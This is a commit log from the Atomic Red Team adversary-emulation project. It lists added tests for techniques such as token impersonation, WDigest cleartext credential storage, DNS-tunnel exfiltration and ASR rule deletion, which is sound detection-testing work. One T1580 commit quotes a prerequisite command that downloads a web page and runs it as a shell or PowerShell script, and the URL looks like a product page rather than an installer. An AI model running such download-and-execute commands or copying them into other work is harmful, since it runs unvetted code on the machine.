Atomic Red Team GUID generator f7c26683f5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-29 01:57:47 +00:00
Leo Verlod 133cc748ff Adding T1134.001 Test 5 - JuicyPotato (#2711)
* Update T1134.001.yaml

* Update T1134.001.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-28 19:57:14 -06:00
Atomic Red Team doc generator 03aa370b35 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-29 01:53:08 +00:00
Atomic Red Team GUID generator 91a921ee4f Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-29 01:52:56 +00:00
collinmsec 610573612b Update T1120.yaml (#2710)
* Update T1120.yaml

Added fsutil drive discovery for the technique of Peripheral Device Discovery

* Update T1120.yaml

Made some changes due to error in the workflow

* Update T1120.yaml

Made changes to remove several items

* Update T1120.yaml

Changes made

* Update T1120.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-28 19:52:23 -06:00
Atomic Red Team doc generator 78c918a02e Generated docs from job=generate-docs branch=master [ci skip] 2024-02-29 01:28:02 +00:00
Atomic Red Team GUID generator 07e40226c9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-29 01:27:49 +00:00
Pattharadanai Sanitjairak aa236952ec Creating new test for T1059 and T1071 (#2708)
* Adding T1059 and T1071

* Update T1071.md

* Delete atomics/T1071/src directory

* Add files via upload

* change localhost to 127.0.0.1 in T1070.yaml

* Update T1071.md

* Update T1071.md

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-28 19:27:14 -06:00
Atomic Red Team doc generator cc2ac1e0c1 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-29 01:20:49 +00:00
Atomic Red Team GUID generator d017a40f10 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-29 01:20:32 +00:00
Matt Anderson af587464f6 Update T1112.yaml (#2709)
* Update T1112.yaml

Added Powershell method to modify Wdigest registry setting to store cleartext credentials.

* remove redundant powershell.exe

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-28 19:19:52 -06:00
BF ac82f6da9b Merge branch 'master' into master 2024-02-27 11:25:44 -08:00
Atomic Red Team doc generator ef76a8b32c Generated docs from job=generate-docs branch=master [ci skip] 2024-02-26 19:51:20 +00:00
Atomic Red Team GUID generator 344dea9fbd Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-26 19:51:04 +00:00
swathinator 29e3c6eb8f Update RustDesk T1219.yaml (#2706)
* Update RustDesk T1219.yaml

Update RustDesk T1219

* Update T1219.yaml

* Update T1219.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-26 13:50:20 -06:00
Atomic Red Team doc generator e9b9f2ed7b Generated docs from job=generate-docs branch=master [ci skip] 2024-02-26 15:24:49 +00:00
Atomic Red Team GUID generator c09d2a3748 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-26 15:24:32 +00:00
sai prashanth pulisetti b166507614 Update T1030.yaml Network-Based Data Transfer in Small Chunks (#2658)
* Update T1030.yaml Network-Based Data Transfer in Small Chunks

# Atomic Test # - T1030 - Data Transfer Size Limits: Network-Based Data Transfer in Small Chunks

## Objective

Simulate the technique of transferring data over a network in small chunks to evade size-based detection mechanisms.

## Description

This test involves transferring data over a network (either to a controlled external endpoint like `example.com`) in small, segmented sizes. This simulates an adversary's behavior in conducting stealthy data exfiltration.

* Update T1030.yaml

* Update T1030.yaml

removed clean up commands and detection

* Update T1030.yaml

* Update T1030.yaml

updated guid

* Update T1030.yaml

* Update T1030.yaml

updated intendents

* Update T1030.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-26 09:23:55 -06:00
Jake H edea906548 Implementation of venv into Windows Python atomics (#2703)
* Improve pip handling (#1)

* virtual env added to T1018, tested and confirmed working

* virtual env added to T1003.001, tested and confirmed working

* virtual env added to T1555.003, tested and confirmed working

* Removing pip-autoremove installation as not required

* updating atomics count in README.md [ci skip]

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: publish bot <opensource@redcanary.com>
2024-02-26 09:19:26 -06:00
Atomic Red Team doc generator 5aef5da247 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-26 15:17:23 +00:00
Atomic Red Team GUID generator 05fc04f419 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-26 15:17:09 +00:00
chefengineer a09cebd1a3 Adding new test for T1654 for Enumerate Windows Security Log (#2704)
* Adding new test for T1654 for Enumerate Windows Security Log via WevtUtil

Adding new test for T1654 for Enumerate Windows Security Log via WevtUtil

* Update T1654.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-26 09:16:32 -06:00
publish bot d7cdd5d68a updating atomics count in README.md [ci skip] 2024-02-26 15:08:34 +00:00
dependabot[bot] 61733d1e90 Bump actions/checkout from 3 to 4 (#2705)
Bumps [actions/checkout](https://github.com/actions/checkout) from 3 to 4.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-02-26 09:07:37 -06:00
publish bot 8daf92f314 updating atomics count in README.md [ci skip] 2024-02-25 01:30:51 +00:00
dependabot[bot] 664af47cb0 Bump actions/github-script from 6 to 7 (#2698)
Bumps [actions/github-script](https://github.com/actions/github-script) from 6 to 7.
- [Release notes](https://github.com/actions/github-script/releases)
- [Commits](https://github.com/actions/github-script/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/github-script
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-02-24 20:30:07 -05:00
publish bot 29baf7d62e updating atomics count in README.md [ci skip] 2024-02-25 01:28:47 +00:00
dependabot[bot] 7125b098c8 Bump hashicorp/setup-terraform from 2 to 3 (#2699)
Bumps [hashicorp/setup-terraform](https://github.com/hashicorp/setup-terraform) from 2 to 3.
- [Release notes](https://github.com/hashicorp/setup-terraform/releases)
- [Changelog](https://github.com/hashicorp/setup-terraform/blob/main/CHANGELOG.md)
- [Commits](https://github.com/hashicorp/setup-terraform/compare/v2...v3)

---
updated-dependencies:
- dependency-name: hashicorp/setup-terraform
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-02-24 20:28:09 -05:00
publish bot db7e361b03 updating atomics count in README.md [ci skip] 2024-02-25 01:24:52 +00:00
dependabot[bot] 6bb1f1db7c Bump actions/upload-artifact from 3 to 4 (#2700)
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3 to 4.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-02-24 20:24:11 -05:00
publish bot d1551ed88f updating atomics count in README.md [ci skip] 2024-02-25 01:22:42 +00:00
dependabot[bot] c821a8f785 Bump actions/stale from 7 to 9 (#2701)
Bumps [actions/stale](https://github.com/actions/stale) from 7 to 9.
- [Release notes](https://github.com/actions/stale/releases)
- [Changelog](https://github.com/actions/stale/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/stale/compare/v7...v9)

---
updated-dependencies:
- dependency-name: actions/stale
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-24 18:22:06 -07:00
publish bot 7ef6a1ae5b updating atomics count in README.md [ci skip] 2024-02-25 01:20:54 +00:00
dependabot[bot] 76a970dd84 Bump actions/setup-python from 4 to 5 (#2702)
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 4 to 5.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-02-24 18:20:10 -07:00
Hare Sudhan 097661445e Dependabot update (#2697)
* dependabot update

* updating atomics count in README.md [ci skip]

---------

Co-authored-by: publish bot <opensource@redcanary.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-24 20:17:21 -05:00
Atomic Red Team doc generator ae87c3e185 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-25 01:15:48 +00:00
Atomic Red Team GUID generator 21401622e4 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-25 01:15:31 +00:00
Hare Sudhan bf630ecb29 fix guid error (#2696) 2024-02-24 18:14:49 -07:00
BF 4e15393878 Update T1613.yaml
Renamed the atomics
2024-02-22 16:32:03 -05:00
publish bot 2207b5435e updating atomics count in README.md [ci skip] 2024-02-22 21:29:45 +00:00
KillrBunn3 1202d62c59 New test: T1218.011 Gamarue tradecraft commandline with rundll32 execution (#2678)
* New test: T1218.011 Gamarue tradecraft commandline with rundll32 execution

* Update T1218.011.yaml

* Update T1218.011.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-22 15:29:05 -06:00
publish bot b96b30d394 updating atomics count in README.md [ci skip] 2024-02-22 20:56:39 +00:00
Daniel Cortez 0bd9b1acc1 New Test T1137.001 - 'Office Application Startup: Office Template Macros.' (#2694)
* Create T1137.001.yml

Created new Directory and new test for T1137.001

* Rename T1137.001.yml to T1137.001.yaml

* Update T1137.001.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-22 14:56:04 -06:00
publish bot 9628658dba updating atomics count in README.md [ci skip] 2024-02-22 20:07:05 +00:00
jianni20 df24b972a9 New test: T1003.003 - Create Volume Shadow Copy with diskshadow (#2690)
* New test - Create Volume Shadow Copy with diskshadow

* Fix typos

* fix indentation

* Update T1003.003.yaml

* Update T1003.003.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-22 14:06:29 -06:00
publish bot 1eed144a1e updating atomics count in README.md [ci skip] 2024-02-22 19:49:03 +00:00
adelfavero57 eba0f8ea61 Esxi atomic tests batch 2 (#2650)
* initial esxi commit

* second commit esxi

* use ExternalPayloads folder

* use ExternalPayloads folder

---------

Co-authored-by: clr2of8 <clr2of8@gmail.com>
2024-02-22 13:48:23 -06:00
sai prashanth pulisetti d234ade71d Merge branch 'master' into patch-7 2024-02-23 00:57:38 +05:30
publish bot 11400be951 updating atomics count in README.md [ci skip] 2024-02-22 17:44:08 +00:00
Carrie Roberts e1d81a1412 remove open source index badge (#2692) 2024-02-22 12:43:27 -05:00
Atomic Red Team doc generator 77a44aea50 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-22 17:37:16 +00:00
Atomic Red Team GUID generator ed31f26ba9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-22 17:37:00 +00:00
Michael Haag 8f71cf4d53 SOAPHound (#2689)
* SOAPHound

* Updates

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-22 11:36:17 -06:00
Atomic Red Team doc generator a840cf6245 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-21 16:26:59 +00:00
Carrie Roberts af13a59177 remove atomic w/broken bitly link (#2693) 2024-02-21 11:25:36 -05:00
Hare Sudhan 4c8d8afd65 Merge branch 'master' into master 2024-02-15 13:01:26 -05:00
publish bot 29f5edda49 updating atomics count in README.md [ci skip] 2024-02-12 20:36:28 +00:00
dependabot[bot] 322d908af6 Bump ruamel-yaml from 0.18.5 to 0.18.6 (#2685)
Bumps [ruamel-yaml]() from 0.18.5 to 0.18.6.

---
updated-dependencies:
- dependency-name: ruamel-yaml
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-02-12 14:35:36 -06:00
BF 31bba55b31 Merge pull request #4 from W00glin/T1613_Dockerfile
Update Dockerfile
2024-02-12 10:55:02 -08:00
BF 557b121cd1 Update Dockerfile
Fixed typo
2024-02-12 13:53:34 -05:00
BF 1eec7f9b3c Merge pull request #3 from W00glin/T1613_YML
Update T1613.yaml
2024-02-12 10:51:19 -08:00
BF e062ea2aa2 Merge pull request #2 from W00glin/T1613_Dockerfile
Updated Dockerfile
2024-02-12 10:39:23 -08:00
BF ba36a83807 Merge pull request #1 from W00glin/T1613MD
Update T1613.md
2024-02-12 10:35:55 -08:00
BF 7166f9a24b Update T1613.yaml 2024-02-12 13:23:44 -05:00
BF 05f1ec8f2a Updated Dockerfile 2024-02-12 13:23:13 -05:00
BF 3f7f18183e Update T1613.md 2024-02-12 13:22:20 -05:00
Atomic Red Team doc generator 86c88bc4d1 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-09 14:59:36 +00:00
Atomic Red Team GUID generator 15e983365f Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-09 14:59:20 +00:00
traceflow 50512fcc95 Adding ASR rules deletion (#2683)
* adding ASR rules deletion

* adding ASR rules deletion

* adding ASR rules deletion

* adding ASR rules deletion

* adding ASR rules deletion

* adding ASR rules deletion

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-09 08:58:45 -06:00
Atomic Red Team doc generator 98f9300887 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-08 21:39:53 +00:00
Atomic Red Team GUID generator ded6414060 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-08 21:39:40 +00:00
Thomas M f92569597a Add new atomic test T1055 custom uuid process injection in C, a stealthier implementation compares to the original one introduced by NCC group (#2674)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-08 15:39:08 -06:00
Atomic Red Team doc generator dea1cd7641 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-08 21:36:56 +00:00
Atomic Red Team GUID generator a9326f2654 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-08 21:36:40 +00:00
Thomas M 18ba41456e T1027.007 Obfuscated Files or Information: Dynamic API Resolution: ninja syscall (#2673)
* Add new atomic test T1027.007 Obfuscated Files or Information: Dynamic API Resolution

* Add new atomic test T1027.007 Obfuscated Files or Information: Dynamic API Resolution

* Add new atomic test T1027.007 Obfuscated Files or Information: Dynamic API Resolution

* Add new atomic test T1027.007 Obfuscated Files or Information: Dynamic API Resolution

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-08 15:35:56 -06:00
Atomic Red Team doc generator 669e685b8d Generated docs from job=generate-docs branch=master [ci skip] 2024-02-08 21:29:25 +00:00
Jake H a4653ac9b5 Updating get_prereq_command to download and install python3 & pip (#2680)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-08 15:28:39 -06:00
Atomic Red Team doc generator 1e4d33d15a Generated docs from job=generate-docs branch=master [ci skip] 2024-02-08 21:23:17 +00:00
Jake H 694d2c0778 Removing REM from 95b25212-91a7-42ff-9613-124aca6845a8 due to incorrect execution (#2681)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-02-08 15:22:25 -06:00
publish bot 3f11f5d33a updating atomics count in README.md [ci skip] 2024-02-08 21:17:57 +00:00
Koustav Choudhury c1a770844d Excel spelling typo (#2682) 2024-02-08 15:17:19 -06:00
Atomic Red Team doc generator 02c7d02fe1 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-05 16:49:04 +00:00
Emile Marty 12f5d9d323 Update T1490.yaml (#2677)
* Update T1490.yaml

Fixed a formatting error in #2676

* Update T1490.yaml

add dependency_executor_name field

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2024-02-05 09:48:15 -07:00
Atomic Red Team doc generator e30f9b573f Generated docs from job=generate-docs branch=master [ci skip] 2024-02-05 16:43:49 +00:00
Atomic Red Team GUID generator a5bf6bad39 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-02-05 16:43:32 +00:00
Kyaw-Pyiyt-Htet 25515b8f72 Mikoyan dee patch 1 (#2679)
* Update T1040.yaml

PowerShell cmdlets to capture network traffic

* Update T1040.yaml

* Update T1040.yaml
2024-02-05 09:42:53 -07:00
sai prashanth pulisetti 0b6af7cafb Merge branch 'master' into patch-7 2024-02-05 10:23:16 +05:30
Atomic Red Team doc generator 0e202df355 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-31 23:30:28 +00:00
Emile Marty 2a194cdc34 Added support for T1490 creating shadow copies in Windows 10+ (#2676)
* Update T1490.yaml

Support for creating shadow copies in Windows 10+

* Update T1490.md

Updating documentation

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-31 17:29:42 -06:00
Atomic Red Team doc generator ed9cb8cdc7 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-31 23:27:05 +00:00
Atomic Red Team GUID generator 24c9dc3212 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-31 23:26:50 +00:00
sai prashanth pulisetti e9051bed60 Update T1490.yaml "Modify VSS Service Permissions" (#2668)
* Update T1490.yaml "Modify VSS Service Permissions"

Modify permissions of the VSS service to inhibit system recovery. This test alters the security settings of the Volume Shadow Copy Service (VSS), potentially impacting system recovery operations. It should be conducted only in a controlled environment. The executor must have administrative privileges to modify service permissions. Note that this test does not include a cleanup command; thus, the changes will persist after execution. Ensure that you have a backup or a system recovery plan in place before running this test. Running this test on a production system or critical environment is not recommended without proper precautions.

* Update T1490.yaml

updated guid

* Update T1490.yaml

updated description and clean up command

* Update T1490.yaml

updated indentations

* Update T1490.yaml

* Update T1490.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-31 17:26:10 -06:00
publish bot abbf7b177b updating atomics count in README.md [ci skip] 2024-01-31 23:23:39 +00:00
zaicurity dc264a80f4 Added T1562.010 Test for PowerShell v2 Downgrade (#2670)
* Added T1562.010 Test for PowerShell v2 Downgrade

* Remove PowerShell Downgrade Attack atomic from T1059.001.yaml
2024-01-31 17:22:30 -06:00
sai prashanth pulisetti 949710153d Merge branch 'master' into patch-7 2024-01-30 00:56:38 +05:30
Atomic Red Team doc generator 45138fdb07 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-29 16:24:34 +00:00
Atomic Red Team GUID generator 5836fe0a80 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-29 16:24:22 +00:00
sai prashanth pulisetti a5a1cf78fb Update T1041.yaml DNS-Based C2 Data Exfiltration (#2663)
* Update T1041.yaml DNS-Based C2 Data Exfiltration

Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.

* Update T1041.yaml

updated the changes as requested

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-29 10:23:47 -06:00
publish bot 11e8fd705b updating atomics count in README.md [ci skip] 2024-01-29 16:22:06 +00:00
dependabot[bot] b351059afd Bump jsonschema from 4.20.0 to 4.21.1 (#2667)
Bumps [jsonschema](https://github.com/python-jsonschema/jsonschema) from 4.20.0 to 4.21.1.
- [Release notes](https://github.com/python-jsonschema/jsonschema/releases)
- [Changelog](https://github.com/python-jsonschema/jsonschema/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/python-jsonschema/jsonschema/compare/v4.20.0...v4.21.1)

---
updated-dependencies:
- dependency-name: jsonschema
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-29 10:21:26 -06:00
Atomic Red Team doc generator b98739b474 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-29 15:55:01 +00:00
Jake H a68803c0c3 Adding curly brakets to powershell command to fix issue with interpretation of variables (#2672) 2024-01-29 09:53:35 -06:00
sai prashanth pulisetti ad4029be68 Update T1580.yaml 2024-01-22 20:13:55 +05:30
sai prashanth pulisetti 4841583e48 Update T1580.yaml
removed description
2024-01-22 20:08:58 +05:30
sai prashanth pulisetti 444fc52ffe Merge branch 'master' into patch-7 2024-01-21 16:23:14 +05:30
sai prashanth pulisetti 474cbdff8a Update T1580.yaml 2024-01-21 09:52:49 +05:30
sai prashanth pulisetti d50ce7648b Update T1580.yaml
removed notes and clean up command
2024-01-21 09:50:36 +05:30
Atomic Red Team doc generator c4fea7a287 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-20 20:48:23 +00:00
Hare Sudhan fa66c9cd44 Merge branch 'master' into patch-7 2024-01-20 15:48:17 -05:00
publish bot 8a1987a42a updating atomics count in README.md [ci skip] 2024-01-20 20:48:12 +00:00
Atomic Red Team GUID generator fd3e8c05dd Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-20 20:48:10 +00:00
Mohana Shankar D 11c442180e Update T1486.yaml (#2665)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-20 14:47:36 -06:00
Hare Sudhan 4381e0ba8c Merge branch 'master' into patch-7 2024-01-20 15:45:26 -05:00
Atomic Red Team doc generator 6a3a2ede32 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-20 20:45:01 +00:00
Hare Sudhan e742bcb626 Fix schema validation (#2666) 2024-01-20 14:44:16 -06:00
Hare Sudhan 312df03de5 Merge branch 'master' into patch-7 2024-01-19 23:41:29 -05:00
Atomic Red Team doc generator f6fc008a05 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-20 04:21:06 +00:00
Atomic Red Team GUID generator e9ab27efff Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-20 04:20:53 +00:00
sai prashanth pulisetti b6fa8857a5 Atomic Test #7 - System Owner/User Discovery Using Command Prompt (#2657)
* Atomic Test #7 - System Owner/User Discovery Using Command Prompt

Identify the system owner or current user using native Windows command prompt utilities.

* Update T1033.yaml

adjusted - "del %output_path%\\user_info_*.tmp"

* Update T1033.yaml

adjusted output_path with Temp

* Update T1033.yaml

* Update T1033.yaml

* Update T1033.yaml

* Update T1033.yaml

* Update T1033.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-19 22:20:19 -06:00
Zeta 871b418282 Update T1218.yaml (#2646)
* Update T1218.yaml

add new test "Atbroker.exe (AT) Executes Arbitrary Command via Registry Key"

* Update T1218.yaml

Move to T1546.008

* Update T1546.008.yaml Details: Add new test - Atbroker.exe (AT) Executes Arbitrary Command via Registry Key

Add new test "Atbroker.exe (AT) Executes Arbitrary Command via Registry Key"

* updating atomics count in README.md [ci skip]

---------

Co-authored-by: publish bot <opensource@redcanary.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-19 22:14:16 -06:00
sai prashanth pulisetti dd9242465d Merge branch 'master' into patch-7 2024-01-19 19:00:01 +05:30
Atomic Red Team doc generator 65348695f9 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-18 21:57:17 +00:00
Atomic Red Team GUID generator 9141822411 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-18 21:57:04 +00:00
Bhavin Patel 640330c513 Updated PR 2461 2463 into a new one (#2655)
* updating ttp

* updating atomics from PR and adding new

* update command

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-18 15:56:30 -06:00
Atomic Red Team doc generator 5c828eca90 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-18 21:54:06 +00:00
Atomic Red Team GUID generator 4fb5bddaff Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-18 21:53:49 +00:00
sai prashanth pulisetti b28f61b5e1 Update T1020.yaml -Add New Atomic Test for T1020 - Exfiltration via Encrypted FTP (#2656)
* Update T1020.yaml

Atomic Test #2 - Exfiltration via Encrypted FTP
Simulates encrypted file transfer to an FTP server, representing stealthy data exfiltration methods.

* Update T1020.yaml

updated notes

* Update T1020.yaml

updated line 50

* move notes to description, remove empty tags

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-18 15:52:59 -06:00
sai prashanth pulisetti d626e7ed29 Update T1580.yaml 2024-01-19 00:27:12 +05:30
sai prashanth pulisetti 5348c67b51 Update T1580.yaml
removed un supported formats
2024-01-19 00:12:24 +05:30
sai prashanth pulisetti 13da08ba97 Update T1580.yaml
updated with 
dependencies:
  - description: AWS CLI installed and configured with the necessary access rights.
    prereq_command: type aws || aws --version
    get_prereq_command: |
      if [ "$(uname)" = "Darwin" ] || [ "$(expr substr $(uname) 1 5)" = "Linux" ]; then
        curl "https://aws.amazon.com/cli/" -o "Install-AWSCLI.sh" && sh Install-AWSCLI.sh
      elif [ "$(expr substr $(uname) 1 5)" = "MINGW" ]; then
        Invoke-WebRequest -Uri "https://aws.amazon.com/cli/" -OutFile "Install-AWSCLI.ps1"; .\Install-AWSCLI.ps1
      fi
2024-01-18 14:37:01 +05:30
sai prashanth pulisetti 73b75c2db7 Update T1580.yaml 2024-01-18 14:32:39 +05:30
sai prashanth pulisetti 6796db1ee1 Update T1580.yaml 2024-01-18 14:31:00 +05:30
sai prashanth pulisetti 1ba98b5f23 Update T1580.yaml
updated :

supported_platforms:
  - windows
  - macos
  - linux
  - iaas:aws
2024-01-18 14:29:17 +05:30
sai prashanth pulisetti 8ec468e6e2 Update T1580.yaml
updated supported_platforms:
iass:aws
2024-01-18 14:27:31 +05:30
sai prashanth pulisetti b80b06ad72 Update T1580.yaml AWS - EC2 Security Group Enumeration
Simulate an attacker's action to enumerate EC2 Security Groups in a compromised AWS environment.
2024-01-18 14:21:45 +05:30
Atomic Red Team doc generator 32d9b8c9f5 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-17 21:46:45 +00:00
Atomic Red Team GUID generator 7b0ba0b341 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-17 21:46:21 +00:00
Leo Verlod b8e521c714 Adding T1543.006 Test 6 - Modify Service to Run Arbitrary Binary (Powershell) (#2653)
* Adding T1543.006 Test 6

* Update T1543.003.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-17 15:44:54 -06:00
publish bot 2723c2f750 updating atomics count in README.md [ci skip] 2024-01-03 22:23:55 +00:00
Ikko Eltociear Ashimine 71a478e525 Update README.md (#2649)
Github -> GitHub

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-03 16:23:17 -06:00
Atomic Red Team doc generator 49f738b461 Generated docs from job=generate-docs branch=master [ci skip] 2024-01-03 22:12:30 +00:00
Atomic Red Team GUID generator cb9433117b Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-01-03 22:12:17 +00:00
rosan091 f1c38b0670 Msedge proxy execution (#2647)
Co-authored-by: unknown <administrator@ADAWS.COM>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-01-03 16:11:43 -06:00
Atomic Red Team doc generator bd7e635b21 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-28 15:35:40 +00:00
Hare Sudhan 00c9f11bbe Update T1221.yaml (#2648) 2023-12-28 09:34:49 -06:00
Atomic Red Team doc generator e1164d3054 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-27 17:58:55 +00:00
dwhite9 06ebf05785 Added the "-c" option to adfind commands. (#2645)
* Added the "-c" option to adfind commands. This will cause it to print a
count of the returned objects instead of the actual objects. This is
very useful for large environments and allows it run quicker without
actually exposing any sensitive information.

* Adding the code to allow specifying optional arguments at runtime instead of hardcoding the -c to allow more flexibility per this request:
https://github.com/redcanaryco/atomic-red-team/pull/2645#pullrequestreview-1795339526

---------

Co-authored-by: dwhite <n/a>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: dwhite9 <n@a>
2023-12-27 11:58:02 -06:00
publish bot de637b370b updating atomics count in README.md [ci skip] 2023-12-22 21:43:36 +00:00
Hare Sudhan 460135314e Github Codespace added (#2644)
* Create devcontainer.json

* devcontainers added

* devcontainers added

* add setup files

* Update README.md
2023-12-22 15:43:02 -06:00
Atomic Red Team doc generator b998ba7370 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-20 03:35:19 +00:00
Tessa Georgen c30ed0fe85 Remove improper extra field from T1562.010.yaml (#2642) 2023-12-19 20:34:27 -07:00
Atomic Red Team doc generator a79c9e0e82 Generated docs from job=generate-docs branch=master [ci skip] 2023-12-14 15:28:03 +00:00
Atomic Red Team GUID generator 7f3f0be18b Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-12-14 15:27:50 +00:00
BlueTeamOps 9ba4043595 ESXi ART Tests Batch 1 (#2635)
* ESXi Tests Batch 1

* remove duplicate key

* Update T1082.yaml

Updated the binary location to ExternalPayloads folder and also added the folder creation in GetPreReqs

* Update T1083.yaml

Added External Payloads and included folder creation in GetPreReqs

